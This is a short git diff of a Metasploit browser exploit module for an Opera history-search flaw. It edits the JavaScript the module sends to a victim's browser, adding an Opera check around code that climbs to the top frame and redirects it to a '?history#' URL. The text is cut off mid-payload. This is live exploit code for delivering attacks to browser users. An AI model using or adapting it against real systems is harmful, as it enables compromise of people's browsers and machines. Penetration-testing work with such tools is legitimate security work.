diff --git a/modules/exploits/multi/browser/opera_historysearch.rb b/modules/exploits/multi/browser/opera_historysearch.rb index 500f4479a7..6a4bf8c226 100644 --- a/modules/exploits/multi/browser/opera_historysearch.rb +++ b/modules/exploits/multi/browser/opera_historysearch.rb @@ -152,12 +152,14 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending #{self.name} to #{cli.peerhost} for request #{request.uri}") js = %Q^ - var wnd = window; - while (wnd.parent != wnd) { - wnd = wnd.parent; + if (window.opera) { + var wnd = window; + while (wnd.parent != wnd) { + wnd = wnd.parent; + } + url = location.href; + wnd.location = url + "?history#